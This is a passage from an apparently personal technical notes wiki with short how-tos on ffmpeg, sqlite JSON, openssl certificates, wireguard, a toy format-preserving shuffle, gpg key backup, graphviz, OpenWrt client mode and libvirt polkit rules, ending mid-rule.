generate webp's with ffmpeg

animated webp

ffmpeg -i input.mkv -filter:v fps=fps=15 -vsync 0 -loop 0 output.webp

make it lossless

since webp supports both lossy and lossless compression, you can squeeze some extra quality in by making it lossless, however it will make the size a bit bigger

-lossless 1 

LaTeX setupfile

Included via #+SETUPFILE: in notes meant to be exported to LaTeX

latex options

table of contents

hide table of contents. if we really want it, we can include it at our own location with #+TOC:. without this, LaTeX will force the table of contents to be at the top, meaning the preamble will not be on the first page.

define some packages for accessibility

PDF/A export

hide todo tokens and tags

registry

"PROPEIETARY MALWARE!" -- richard stallman, probably

wallpaper

HKEY_CURRENT_USER\Softuware\Microsoft\Windows\CurrentVersion\Policies\System with Wallpaper string containing the path and WallpaperStyle string containing style number (4 for fill)

no more 3d objects

delete {0DB7E03F-FC29-4DC6-9020-FF41B59E513A} from HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\Namespace and HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace if it exists

firefox

fix theme

you can use firefox-ui-fix to have tabs that actually look like tabs!

url bar overzealously searching

enable browser.fixup.dns_first_for_single_words in about:config to make it check for hostnames instead of forcing them to be searches

url bar hiding protocol

turn off browser.urlbar.trimURLs in about:config

shut up about enabling drm

turn off media.gmp-widevinecdm.visible in about:config

space beside url bar

to remove the wasted space, right click on them and go to Customize Toolbar, then you can right click on the same place again and Remove from Toolbar

not sure why this requires being in the customizing toolbar mode, the list all tabs button has an option to remove it without being in the customizing mode...

dark theme not working

the ResistFingerprinting option intentionally breaks prefers-color-scheme :(

extra settings i like

  • disable Use smooth scrolling

  • enable Always show scrollbars

sqlite

table of contents

looking at tables

.schema and then optionally the table name will show the command to create a table with the same schema. some people seem to say it will be incorrect if the schema has been modified after the original table creation, but this looks to not be true

.tables lists tables

output formatting

sqlite's default |-delimited output is mildly unreadable

.headers on will display headers

.mode column will display output in nice columns, you can also use box to output in fancy unicode boxes

foreign keys

to enfore a dependency on another table, foreign keys can be used.

CREATE TABLE example
( ...
, FOREIGN KEY(columnname) REFERENCES othertable(othercolumn)
);

getting other columns when grouping

unlike other sql engines, sqlite is cool and allows bare columns when aggregating stuff, which lets you get other columns from the same row that was chosen by an aggreate function. it does weird stuff if you have multiple aggreate functions though

json

output

.mode json

will make sqlite output in json format

input

INSERT INTO table (beep, boop) SELECT json_extract(value, '$.foo'),
json_extract(value, '$.bar') FROM json_each(readfile('/dev/stdin'));

will take a list of json objects from stdin and put the values from the 'foo' and 'bar' keys into the 'beep' and 'boop' columns.

vulpine is eepy says
sad, with sqlite 3.46.1 readfile('/dev/stdin') seems to no longer work, giving an Error: stepping, out of memory (7) error. guess i'll have to use a normal file...

generated columns

sqlite can have special columns with calculated values, called generated columns. we can use them to derive column values from json.

CREATE TABLE noises
( raw TEXT
, species AS (json_extract(raw, '$.species')) STORED
, noise AS (json_extract(raw, '$.noise')) STORED
);
INSERT INTO noises (raw) SELECT value FROM
json_each('[{"species":"wah","noise":"wah"},{"species":"fox","noise":"aaa"}]');
SELECT species,noise FROM noises;
+---------+-------+
| species | noise |
+---------+-------+
| wah     | wah   |
| fox     | aaa   |
+---------+-------+

STORED means the data will be stored in the table rather than calculated on the fly every time it is viewed, though sadly it still cannot be a PRIMARY KEY.

to automatically create a simple table with generated columns for the top level of a json object (it will not recurse), we can use jq and awk:

jq 'keys_unsorted[]' -r |
awk 'BEGIN {print "CREATE TABLE hmm";print "( raw TEXT"}
{print ",",$1,"TEXT AS (json_extract(raw, '"'"'$." $1 "'"'"'))"}
END {print ");"}'

icecast custom index page

we can specify a custom xsl file for the index

tangle/index.xsl
<xsl:stylesheet xmlns:xsl = "http://www.w3.org/1999/XSL/Transform" version = "1.0">
<xsl:output omit-xml-declaration="no" method="xml" doctype-public="-//W3C//DTD XHTML 1.0 Strict//EN" doctype-system="http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd" indent="yes" encoding="UTF-8" />
<xsl:template match = "/icestats">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
	<title>radio</title>
	<link rel="stylesheet" type="text/css" href="index.css" />
	<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=yes" />
</head>
<body>
	<!--end index header menu -->
	<xsl:text disable-output-escaping="yes">
	&lt;!-- WARNING:
	 DO NOT ATTEMPT TO PARSE ICECAST HTML OUTPUT!
	 The web interface may change completely between releases.
	 If you have a need for automatic processing of server data,
	 please read the appropriate documentation. Latest docs:
	 https://icecast.org/docs/icecast-latest/icecast2_stats.html
	-->
	</xsl:text>
	<!--mount point stats-->
	<xsl:for-each select="source">
		<xsl:choose>
			<xsl:when test="listeners">
			<div class="roundbox">
				<div class="mounthead">
					<h3 class="mount"><xsl:value-of select="@mount" /></h3>
				</div>
				<div class="mountcont">
					<xsl:if test="server_type and ((server_type = 'application/ogg') or (server_type = 'audio/ogg'))">
						<div class="audioplayer">
							<audio controls="controls" preload="none">
								<source src="{@mount}" type="{server_type}" />
							</audio>
						</div>
					</xsl:if>
					<table class="yellowkeys">
						<tbody>
							<tr>
								<td>Currently playing:</td>
								<td class="streamstats">
								<xsl:if test="artist">
									<xsl:value-of select="artist" /> - 
								</xsl:if>
									<xsl:value-of select="title" />
								</td>
							</tr>
						</tbody>
					</table>
				</div>
			</div>
			</xsl:when>
			<xsl:otherwise>
				<h3><xsl:value-of select="@mount" /> - Not Connected</h3>
			</xsl:otherwise>
		</xsl:choose>
	</xsl:for-each>
</body>
</html>
</xsl:template>
</xsl:stylesheet>

and add some css

tangle/index.css
html, body {
    height: 100%;
    margin:0;
    padding:0;
    display:flex;
    text-align: center;
    justify-content: center;
    align-items: center;
    background: #141415;
    color: #cdcdcd;
}

sstrip

stripping shared objects

unlike normal strip, it is a bad idea to sstrip shared objects.

doing so will cause linker errors like

/usr/bin/ld: /usr/lib/sstripped.so: error adding symbols: file in wrong format

which is quite an unhelpful error message because everyone else running into it seems to instead be attempting to cross compile incorrectly...

sample

% Replace the following information with your document's actual
% metadata. If you do not want to set a value for a certain parameter,
% just omit it.
%
% Symbols permitted in metadata
% =============================
% 
% Within the metadata, all printable ASCII characters except
% '\', '{', '}', and '%' represent themselves. Also, all printable
% Unicode characters from the basic multilingual plane (i.e., up to
% code point U+FFFF) can be used directly with the UTF-8 encoding. 
% Consecutive whitespace characters are combined into a single
% space. Whitespace after a macro such as \copyright, \backslash, or
% \sep is ignored. Blank lines are not permitted. Moreover, the
% following markup can be used:
%
%  '\ '         - a literal space  (for example after a macro)                  
%   \%          - a literal '%'                                                 
%   \{          - a literal '{'                                                 
%   \}          - a literal '}'                                                 
%   \backslash  - a literal '\'                                                 
%   \copyright  - the (c) copyright symbol                                      
%
% The macro \sep is only permitted within \Author, \Keywords, and
% \Org.  It is used to separate multiple authors, keywords, etc.
% 
% List of supported metadata fields
% =================================
% 
% Here is a complete list of user-definable metadata fields currently
% supported, and their meanings. More may be added in the future.
% 
% General information:
%
%  \Author           - the document's human author. Separate multiple
%                      authors with \sep.
%  \Title            - the document's title.
%  \Keywords         - list of keywords, separated with \sep.
%  \Subject          - the abstract. 
%  \Org              - publishers.
% 
% Copyright information:
%
%  \Copyright        - a copyright statement.
%  \CopyrightURL     - location of a web page describing the owner
%                      and/or rights statement for this document.
%  \Copyrighted      - 'True' if the document is copyrighted, and
%                      'False' if it isn't. This is automatically set
%                      to 'True' if either \Copyright or \CopyrightURL
%                      is specified, but can be overridden. For
%                      example, if the copyright statement is "Public
%                      Domain", this should be set to 'False'.
%
% Publication information:
%
% \PublicationType   - The type of publication. If defined, must be
%                      one of book, catalog, feed, journal, magazine,
%                      manual, newsletter, pamphlet. This is
%                      automatically set to "journal" if \Journaltitle
%                      is specified, but can be overridden.
% \Journaltitle      - The title of the journal in which the document
%                      was published. 
% \Journalnumber     - The ISSN for the publication in which the
%                      document was published.
% \Volume            - Journal volume.
% \Issue             - Journal issue/number.
% \Firstpage         - First page number of the published version of
%                      the document.
% \Lastpage          - Last page number of the published version of
%                      the document.
% \Doi               - Digital Object Identifier (DOI) for the
%                      document, without the leading "doi:".
% \CoverDisplayDate  - Date on the cover of the journal issue, as a
%                      human-readable text string.
% \CoverDate         - Date on the cover of the journal issue, in a
%                      format suitable for storing in a database field
%                      with a 'date' data type.



\Title        {The Title Goes Here}

\Author       {Your Name Goes Here}

\Copyright    {Copyright \copyright\ 2014 "Author's Name Goes Here"}

\Keywords     {some keyword\sep
               another keyword\sep
               some more keywords}

\Subject      {This is where you put the abstract.}

uart serial

repurposing a microcontroller as a serial adapter

don't want to buy a dedicated usb-to-serial converter? many microcontrollers already have one built in! connecting the certain pins allow disabling the processor, and then you can attach the RX/TX lines to anything else as you please.

arduino uno (5v)

connect the RESET pin to GND (ground)

nodemcu esp8266 (3.3v)

connect the EN (enable) pin to GND

nncp

building

if you do not need it, building without yggdrasil support makes the binary a bit smaller. manually installing nncp expects the config to be in a rather odd location, however this can be overridden by the CFGPATH environment variable.

GO_CFLAGS="-tags noyggdrasil" CFGPATH=/etc/nncp.hjson bin/build

acks with keep

nncp's ack system allows keeping outbound packets when transmitting, and then only removing them from the transmit queue once an ack has been received, so a packet that gets lost can just get re-sent later. reliability is neat, so i am drawn to it, but the way it is implemented seems pretty flawed. as far as i can tell, there are 3 ways to use it, each with their own downsides:

  1. incoming packets are marked as seen and acks are sent once. if an ack gets dropped, the original packet it was for will get continually re-sent forever, since new acks are not generated when receiving already seen packets.

  2. incoming packets are marked as seen and acks are continually re-sent forever. not great, but hopefully your acks are smaller than the packets they're for?

  3. incoming packets do not get marked as seen and acks are sent once. this means the same packets might get re-processed multiple times, but at least there will not be added overhead forever.

i think option 3 is the least bad, but it does interact rather oddly with the default file transferring stuff, you'll get a new numbered file name every time the same packet gets processed again, so i assume this is not the intended use case?

disambiguation

  • xfnw is a fox

  • xfwm4 is xfce's window manager

emacs packages

updating packages

open M-x package-list, press U to select upgradable packages, and x to confirm the operation

openssl custom name constraints

adapted from this ServerFault post and this blogpost.

making your own name-constrained CA

make a name-constraint.ini file

[req]
distinguished_name      = req_distinguished_name
keyUsage                = critical, keyCertSign, cRLSign
[domain_ca]
basicConstraints        = critical, CA:TRUE
nameConstraints         = critical, permitted;DNS:.example.com
subjectKeyIdentifier    = hash
authorityKeyIdentifier  = keyid,issuer:always
[req_distinguished_name]

make your ca with the name constraints

openssl req -new -x509 -days 3650 -newkey rsa:4096 \
-extensions domain_ca -keyout my-ca.key -out my-ca.pem \
-subj '/C=US/O=Example/OU=CA' -config name-constraint.ini
hi says
you can use ed25519 instead of rsa:4096 if you want a nice and smol cert, but that will be less compatible with stuff

now you can start signing certs with it

creating accessable PDF/A files with LaTeX

my latex.org setupfile to do this automagically can be found here. (if viewing this on the web, you will probably have to change the extension to .org get view the raw source). note that to use this you must add pdfa to org-latex-default-packages-alist's hyperref item.

tagged pdf

there is currently not a good solution for generating accessable (tagged) pdfs with LaTeX. the accessability package is pretty much the only option, and it barely works.

\usepackage[utf8]{inputenc}
\usepackage[T1]{fontenc}
\usepackage[english]{babel}
\usepackage[tagged, highstructure]{accessibility}

\pdfpageattr{/StructParents 0/Tabs/S}

PDF/A

packages

hyperref and pdfx let you export as a PDF/A. if exporting from orgmode, it will automatically include the hyperref package for you.

\usepackage[pdfa]{hyperref}
\usepackage[a-3b]{pdfx}

xmpdata

using a filename.xmpdata, replacing filename with the actual filename of your tex file, you can specify additional metadata such as the copyright holder, author, title, etc

any of these macros are optional, here are a few:

\Title     {Your Title}
\Author    {Vulpinely Vulpine}
\Keywords  {cool\sep
            neat\sep
	    foxes\sep
	    uwu}
\Subject   {this is very abstract}

more macros for the xmpdata file can be found in the sample xmpdata file (borrowed from Peter Selinger's website)

wireguard

table of contents

genkey

you can generate a wireguard key with wg genkey and then put it in wg pubkey to get the public key

to get both at the same time you can

wg genkey | tee /dev/stderr | wg pubkey 2>&1

(this makes a key, uses tee to send it to both stderr and wg pubkey, then the optional 2>&1 puts it back into stdout)

config with wg-quick

masquerade

wg-quick needs some extra PostUp options for masquerade to work

  [Interface]
  PostUp = ip6tables -A FORWARD -i %i -j ACCEPT; ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE; iptables -A FORWARD -i %i -j ACCEPT; iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
  PostUp = sysctl -w net.ipv6.conf.all.forwarding=1
  PostUp = sysctl -w net.ipv4.ip_forward=1
  PostDown = iptables -D FORWARD -i %i -j ACCEPT; iptables -t nat -D POSTROUTING -o eth0 -j MASQUERADE; ip6tables -t nat -D POSTROUTING -o eth0 -j MASQUERADE
  ListenPort = 51820

tailscale

if you want your wireguard network to Just Work, tailscale, with it's Magic DNS, automatic NAT traversal, authentication with oauth, etc, is for you.

[2022-10-02 Sun]: tailscale uses usermode wireguard, which is slower than the kernelmode implementation that wg-quick etc use. although it arguably is a tiny bit more secure, since if there is a rce vulnerability in wireguard, it will not be in ring 0 (though since openbsd, the secure operating system, has a kernelmode wireguard implementation, i assume that reasoning to not hold much water)

feh

feh is a somewhat minimal image viewer

keybinds

some of the keybinds arent very well documented

keyuse
/zoom (out) so that the whole thing fits on your screen
rgo back to the center and reset zoom
ftoggle fullscreen
Zseems to do the same thing as /, but only in fullscreen

set wallpaper

you can use feh for setting your wallpaper with --bg-fill. you can have a random wallpaper by pointing it at a directory and using --randomize

format-preserving encryption is neat

have you ever wondered how masscan chooses what order to scan targets? just doing it sequentially is obviously not ideal, but making a list of every target and then shuffling it would waste tons of memory.

it'd need some kind of function with a domain of how many things to shuffle, where each output has one corresponding input, and has random-looking behavior...

hi says
each output having one corresponding input means it'd be "invertible"

power of 2 trickery

that sounds like a block cipher! let's make a little feistel network!

vulpine says
obligatory don't actually use this for anything that needs to be secure. i designed the round function around using some funny numbers, rather than actual security. also you'd want some way to seed it, unless you want it to shuffle stuff the same way every time.

first we need a round function, this is what mixes stuff around to make the output seem random. the cool part about feistel networks is that this can be literally any pure function, and it'll still be invertible.

../tangle/blackrock.py
rounds = [0xe6, 0x21, 170, 59, 239]

def round_function(right, round):
    return (right*round)^6

the feistel network itself is pretty simple, it just chops up the input, does a few iterations of flip flopping stuff around while xoring in the output of the round function, and then glues it back together.

../tangle/blackrock.py
def feistel(inp):
    left = inp>>8
    right = inp&255

    for round in rounds:
        left ^= round_function(right, round) & 255
        left, right = right, left

    return (left<<8)+right

this is has a 16 bit block size (as in has a domain of 0-65535), but it is pretty trivial to adjust the domain to any power of 2, although an odd number of bits needs a slightly more complicated "unbalanced" version.

except wait, masscan accepts arbitrary ranges of things to scan, that might not be a power of 2...

blackrock

if you actually go looking in masscan's code for how it solves this, you'll find something called "blackrock". it's named after John Black and Phillip Rogaway, who created the technique of "cycle walking" to squish normal block ciphers into any arbitrary domain.

hi says
"format-preserving encryption" is the fancy term for block ciphers with weird domains

so how does cycle walking work? by feeding the output of a block cipher into itself until it fits!

../tangle/blackrock.py
def scramble(inp, size):
    assert size <= 65536 and inp < size

    r = feistel(inp)
    while r >= size:
        r = feistel(r)

    return r

yup, that's it, that's the whole thing.

it doesn't even need to be a block cipher, any invertible function with a finite domain can be squished like this too.

what!?

the reason this works is really clever. feeding the output back in like this must form a loop that ends up within the domain you want. having only one input that can get a specific output means it cannot repeat numbers until it reaches the initial input, and it must reach the initial input as its domain being finite means it'd run out of other numbers to choose. since the initial input would already be in the domain you want, it is guaranteed to find an output that fits.

oh also it can go backwards

a nice side-effect of needing an invertible function is that you can invert it.

inverting a feistel network is as simple as running the rounds in reverse and xoring the round function'd left into the right instead of the right into the left.

../tangle/blackrock.py
def unfeistel(inp):
    left = inp>>8
    right = inp&255

    for round in reversed(rounds):
        right ^= round_function(left, round) & 255
        right, left = left, right

    return (left<<8)+right

unscramble is the exact same as scramble, except for using the inverse feistel network.

../tangle/blackrock.py
def unscramble(inp, size):
    assert size <= 65536 and inp < size

    r = unfeistel(inp)
    while r >= size:
        r = unfeistel(r)

    return r

let's test it out

sticking the output into a list like this does defeat the point, but whatever

../tangle/blackrock.py
if __name__ == "__main__":
    shuffled = [scramble(h, 200) for h in range(200)]
    print("woah some questionably-shuffled numbers", shuffled)

gotta make sure it is actually shuffled

../tangle/blackrock.py
    ordered = list(range(200))
    assert shuffled != ordered

test out undoing the shuffling for good measure

../tangle/blackrock.py
    unshuffled = [unscramble(shuffled[h], 200) for h in range(200)]
    assert unshuffled == ordered

calculating cert fingerprints with openssl

some of the x509 certificate fingerprint algorithms used for certfp authentication on irc are weirdly hard to find documentation for. solanum's solanum-mkfingerprint utility can easily calculate these, but it can be rather annoying to compile without using the rest of solanum too. it is a bit more finicky but we can just use the openssl utility to calculate them instead.

normal fingerprints

sha1, sha256, and sha512 fingerprints are just hashes for the cert in der form using that hash algorithm. for example to get the sha512 fingerprint (which is what libera.chat uses):

openssl x509 -outform der <mycert.pem | openssl dgst -sha512

there is also a built-in -fingerprint option (use with -sha512 etc), if you do not mind manually removing the colons.

spki fingerprints

spki_sha256, spki_sha512 fingerprints are hashes of the subject and public key part of a cert, so that when expiring they can be renewed without changing the fingerprint. for example to get the spki_sha256 fingerprint (this is what replirc uses):

openssl x509 -noout -pubkey <mycert.pem | openssl pkey -pubin -outform der | openssl dgst -sha256  

note that this outputs the fingerprint as hex, since this is what irc stuff does. spki fingerprints when used outside of irc are usually base64 encoded, ie adding -binary to the openssl dgst and piping that into base64

making citations with LaTeX

table of contents

without a citation processor

if you have just a small number of citations and do not want to use something like bibtex, you can manually create them using the thebibliography blocks. however, this quickly gets out of hand if you have more than a handful of references or documents.

\begin{thebibliography}{9}
\bibitem{fur2020}
International Anthropomorphic Research Project.  Species Popularity.
Fur Science, 2020.
https://furscience.com/research-findings/fursonas/3-1-species-popularity/

\bibitem{arXiv:2107.02438v3}
Trizna, D. Shell Language Processing: Unix command parsing for Machine
Learning. Proceedings of Conference on Applied Machine Learning for
Information Security (CAMLIS), 2021.  arXiv: 2107.02438v3
[cs.LG]. http://arxiv.org/

\end{thebibliography}

notice the 9? that must be the length of the longest citation number, or the indentation will be wrong. for example if you had 5 citations you would put 9, or if you had 12 you would put 99

if you would like your tex file to be self-contained, but still want to use biber/biblatex, you can use the biblatex2bibitem CTAN package to convert them once you are done citing.

with a citation processor

bibtex-style bibliography file

sometimes referred to as a database, these files are supported by most of LaTeX's citation processors.

@article{arXiv:2107.02438v3,
Author        = {Dmitrijs Trizna},
Title         = {Shell Language Processing: Unix command parsing
for Machine Learning},
Eprint        = {2107.02438v3},
ArchivePrefix = {arXiv},
PrimaryClass  = {cs.LG},
Abstract      = {In this article, we present a Shell Language
Preprocessing (SLP) library},
Year          = {2021},
Month         = {Jul},
Note          = {Proceedings of Conference on Applied Machine
Learning for Information Security (CAMLIS), 2021},
Url           = {http://arxiv.org/abs/2107.02438v3},
File          = {2107.02438v3.pdf}
}

there are other types instead of article too, such as book, inproceedings, manual, masterthesis, and misc.

there are various applications and tools for generating and managing these. if you cite a lot of arXiv, arxiv2bib is nice.

styles

biblatex supports various styles. here are a few, although there are quite a few more.

namewhat it is
mlamla-style
apaapa-style
natureused by the Nature journal
scienceused by the (aptly-named) Science journal
ieeeused by the IEEE
physused in physics
numericjust numbers in square brackets
numeric-complike numeric but puts multiple citations into ranges

biber

biber provides better unicode support than other citation processors.

since biber is a backend, it requires biblatex to work, which is probably provided by a package named similar to (despite the name) texmf-dist-bibtexextra or texlive-bibtexextra in your package manager.

\usepackage[backend=biber, style=nature]{biblatex}
\addbibresource{refs.bib}

will include a bibliography file named refs.bib

then, add

\printbibliography

where you want the references to be

bibtex

bibtex is old and has horrible unicode support, it should probably not be used if you want anything but latin characters.

qemu

escaping

nographic

press C-a x to quit

curses

press M-2 to switch to the console tab, then q to exit

running 9front inside kvm

lapic timer period dmesg errors

9front likes to request a smaller apic timer period than the default minimum, resulting in dmesg spam like

[762368.098513] kvm: vcpu 0: requested 115984 ns lapic timer period limited to 200000 ns

the minimum can be temporarily lowered to (for example 100 us or 100000 ns) by poking sysfs

echo 100 >/sys/module/kvm/parameters/min_timer_period_us

and can be set persistently by poking modprobe.d

echo "options kvm min_timer_period_us=100" >> /etc/modprobe.d/kvm.conf

ansi escape sequences

this page is mostly borrowed from dylanaraps' pure-sh-bible.

table of contents

text colors

sequencewhat it doesvalue
\033[38;5;<NUM>mset text foreground color. (256color)0-255
\033[48;5;<NUM>mset text background color. (256color)0-255
\033[38;2;<R>;<G>;<B>mset text foreground color. (truecolor)red, green, blue
\033[48;2;<R>;<G>;<B>mset text background color. (truecolor)red, green, blue

text formatting

sequencewhat it does
\033[mreset text formatting and colors.
\033[1mbold text.
\033[2mfaint text.
\033[3mitalic text.
\033[4munderline text.
\033[5mslow blink.
\033[7mswap foreground and background colors.
\033[8mhidden text.
\033[9mstrike-through text.
\033#8fill the screen with E
\033(0fun characters

cursor movement

sequencewhat it doesvalue
\033[<LINE>;<COLUMN>Hmove cursor to absolute position.line, column
\033[Hmove cursor to home position (0,0).
\033[<NUM>Amove cursor up NUM lines.num
\033[<NUM>Bmove cursor down NUM lines.num
\033[<NUM>Cmove cursor right NUM columns.num
\033[<NUM>Dmove cursor left NUM columns.num
\033[ssave cursor position.
\033[urestore cursor position.
\033[?25lhide cursor
\033[?25hshow cursor

erasing text

sequencewhat it does
\033[Kerase from cursor position to end of line.
\033[1Kerase from cursor position to start of line.
\033[2Kerase the entire current line.
\033[Jerase from the current line to the bottom of the screen.
\033[1Jerase from the current line to the top of the screen.
\033[2Jclear the screen.
\033[2J\033[Hclear the screen and move cursor to 0,0.

misc

sequencewhat it doesvalue
\033]2;<TITLE>\007set the terminal title to TITLEa string

characters

vulpine

vulpine says
am fox. drawn by xfnw using krita on [2022-04-18 Mon], who forgot to color my ears >:(
vulpine is eepy says
i can be eepy too. drawn by xfnw using krita on [2022-03-12 Sat]

hi

hi says
shork. drawn by xfnw using krita on [2024-04-11 Thu]

clam

url="https://xfnw-orgwiki.pgs.sh"
id="https://xfnw.github.io/orgwiki"

[[feed]]
title="everything in orgwiki"
path="feed.xml"

[[feed]]
title="blog posts in orgwiki"
path="blog.xml"
include=["^blog/"]
exclude=['/index\.html$','/[0-9]{4}\.html']

compress a git repository

git repositories can build up files that are no longer useful, making them pointlessly large. we can remove them and then recompress the remaining stuff with these commands from SuperSandro2000's comment.

  git repack -Ad
  git gc
  git prune

you can also git gc --aggressive first to squeeze it even more.

backing up and syncing gpg keys

table of contents

public keyring, and "non-exportable" stuff

this includes local signatures

to a file

gpg --export --export-options export-backup >file
...
gpg --import --import-options import-restore >file

directly over ssh

gpg --export --export-options export-backup | ssh user@host -- gpg --import --import-options import-restore

trust values

to a file

gpg --export-ownertrust >file
...
gpg --import-ownertrust >file

directly over ssh

gpg --export-ownertrust | ssh user@host -- gpg --import-ownertrust

secret keys

note that since importing a password-protected secret key asks for the password, it is difficult to do while piping over ssh.

gpg --export-secret-keys >file
...
gpg --import file

just the subkeys

you can instead share only the secret subkeys with a less-trustworthy computer (such as a laptop you take with you) so that you can revoke them and create new subkeys, without the hassle of your entire key needing to be revoked.

gpg --export-secret-subkeys >file
...
gpg --import file

graphviz

graphviz is a cool renderer thing for diagrams

table of contents

using it

you can use it online, or, if you install it to your computer, the command to run it will be the layout plugin you want to use, for example dot

examples

this awk script will take output of irc's LINKS command, and convert it to an undirected graphviz graph. change $5 and $6 to where the two server names are in your log format.

sometimes reversing the LINKS output with tac(1) or sorting with sort(1) before feeding it into awk seems to make graphviz have a better layout.

this assumes the letters of servernames are unique since it does weird broken escaping instead of just quoting the servernames. it will break, for example, if you have both me.ow.cat and meow.cat
tangle/linkstographviz.awk
BEGIN {
	"date -u '+%Y-%m-%d %H:%M:%SZ'" | getline time;
	print "graph l {"
}
{
	from="x" $5;
	to="x" $6;
	gsub("[\\.-]","",from);
	gsub("[\\.-]","",to);
	print from " [label=\"" $5 "\"]; ";
	if (from != to) {
		print to " -- " from ";"
	}
}
END {
	print "curtime [label=\"generated " time "\"; shape=\"box\"];";
	print "}"
}

reference

digraph/graph

graph is for showing relations. it uses -- to connect items.

graph MyNiceGraph {
	kitty -- cat;
}

digraph is for showing directed stuff, like flowcharts. it uses -> to connect items.

digraph MyNiceDigraph {
	cat -> meow;
	cat -> hiss;
}

the word after them is the id, which can be pretty much anything you want. it is for differentiating which graph you want to render if you have multiple in a file. you'll have to quote it if you want to use weird characters.

setting defaults for nodes and edges

there are special names called node and edge that apply to all nodes and all edges respectively by default.

digraph Rectangles {
	node [shape="box"];
	edge [arrowsize=0.5];

	ovals [shape="ellipse"];
	rectangles -> ovals [label="are much nicer than"];
}

make lines less bendy

by default, relations are shown with a spline, which makes a smooth curve when possible. you can set the splines option to change this. the value ortho will force 90° lines, but this often gives horrible results with large gaps and overlaps for non-trivial graphs. polyline uses a sequence of straight lines.

digraph ItsPolyTime {
	splines=polyline;

	h:w -> fox:e;
	fox:n -> h:s;
}

graphviz sadly does not have a "squared" lines option[1]. however, this can be emulated by creating invisible nodes to route lines where you want.

in this example, we also use dir=back backwards line and rank=same trickery to make graphviz' ranking algorithm put nodes in the right places.

digraph TheLetterH {
	splines=polyline;

	hidden [label=""; color=white];
	hidden2 [label=""; color=white];

	{rank=same; h; fox}
	{rank=same; hidden; hidden2}

	fox -> h;
	h -> hidden2:n [arrowhead=none];
	hidden:n -> hidden2:n [arrowhead=none];
	fox -> hidden:n [dir=back];
}

direction

rankdir sets the rank direction, which affects the direction of the graph when using the dot layout

the argument is a combination of T (top), b (bottom), L (left), and R (right). for example LR goes left-to-right

digraph Sideways {
	rankdir=LR;

	left -> right;
}

footnotes

  1. why not? seems like it would be easy to implement, just "ortho without the gaps in the lines" would probably be fine, perhaps with some extra padding

mariadb accounts

CREATE DATABASE honk;
CREATE USER 'user'@localhost IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON honk.* TO 'user'@localhost;

nix-build

building a nix package is pretty simple, however the process seems under-documented

table of contents

building a package in the nixpkgs tree

assuming you are at the root of the nixpkgs tree, you can use the -A option to choose a package to build

nix-build . -A xcd

building a maintainer's packages

nixpkgs also includes a fancy convenience script for building all of a maintainer's packages at once

nix-build maintainers/scripts/build.nix --argstr maintainer xfnw

building a nix file with a channel

nix-build -E "with import <nixpkgs> {}; callPackage ./default.nix {}"

though some special types of packages, such as python ones, have their own version of callPackage

nix-build -E "with import <nixpkgs> {}; python3Packages.callPackage ./default.nix {}"

openwrt client mode

client mode is sort of like bridge mode, but it creates a little NAT.

whiterussian (0.9)

it should be noted that this openwrt version has known vulnerabilities, and should not be used if you are able to use a newer version.

instructions a mix of the stuff from squat.net and openwrt's oldwiki, but modified to get it to work

ssh

the crypto algorithms are so old, modern versions of openssh no longer accept them by default.

use these options to allow these insecure algorithms them

ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -c aes256-cbc root@openwrt

setup

installing necessary packages

the package repository for whiterussian has moved to the openwrt's archive subdomain.

from the non-free subdirectory you will need:

packagereason
wltool for connecting to wifi on broadcom chips
nassupport for WPA on broadcom chips

and other packages you will also need:

packagereason
ipiproute2 stuff
kmod-brcm-wlstuff for wl
dhcp-forwarderdhcp relaying
wificonfreplacement for wlconf
libpthreadneeded as a dependency for some stuff

if you are tempted by the asterisk package, just know that it seems to have compatibility issues with modern SIP phones.

to send these package files to openwrt, you can use scp with these options:

scp -O -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -c aes256-cbc *.ipk root@openwrt

nvram

wait a few seconds before booting, so that you can reset it if necessary

nvram set boot_wait=on

enable routed client mode. the 'true' bridging modes do not seem to work on modern networks.

nvram set wl0_mode=sta

set which ports go where

nvram set lan_ifnames='vlan0 eth2 eth3'
nvram set wan_ifname=eth1

various network details

nvram set wl0_ssid='meow' # ssid to autoconnect to
nvram set wl0_wpa_psk='hunter2'
nvram set wl0_channel=1
nvram set lan_ipaddr=192.168.3.1

add route

echo 'route add default gw 192.168.1.1 eth1' > /etc/init.d/S98route
chmod +x /etc/init.d/S98route

save your work

nvram commit

scan alias

echo 'alias scan="wl scan ; sleep 1 ; wl scanresults"' >> /etc/profile

connecting to wifi

iwconfig

iwconfig can be used to view your connection status

scan

use the previously defined scan alias to scan for wifi networks

wl

use wl join to connect to a network

wl join meow key 'hunter2' amode wpapsk

or an open one

wl join meow

polkit libvirt rules

security considerations

polkit does not exactly have a great track record when it comes to security, if you use this you probably want to update your system frequently.

also, just my humble opinion, but javascript does not seem like a very good idea to use to regulate privileges

restricting vm access to username prefixes

these polkit rules make it so that vms can be somewhat managed in a multi-user setting. ie user xfnw will be able to access a vm named xfnw-catbox but not one named cheapie-catbox

groups

  • virtusers only have access to vms with names that start with their username plus a dash, and the allowed actions are fairly restricting

  • virtadmins have access to all vms and to all actions

rules

tangle/libvirt-acl.rules
restrictedActions = [
    "connect.getattr",
    "connect.search-domains",
    "connect.read",
    "domain.core-dump",
    "domain.fs-freeze",
    "domain.fs-trim",
    "domain.getattr",
    "domain.hibernate",
    "domain.init-control",
    "domain.inject-nmi",
    "domain.open-device",
    "domain.open-graphics",
    "domain.pm-control",
    "domain.read",
    "domain.read-secure",
    "domain.reset",
    "domain.save",
    "domain.screenshot",
    "domain.send-input",
    "domain.send-signal",
    "domain.set-password",
    "domain.set-time",
    "domain.snapshot",
    "domain.start",
    "domain.stop",
    "domain.suspend",
    "network.getattr",
    "network.read",
    "network-port.create",
    "network-port.read",
];

polkit.addRule(function(action, subject) {
    if (action.id.indexOf("org.libvirt.api.") == 0) {
        var api = action.id.replace("org.libvirt.api.", "");
        var domain = action.lookup("domain_name");

        if (subject.groups.indexOf("virtadmins") >= 0)
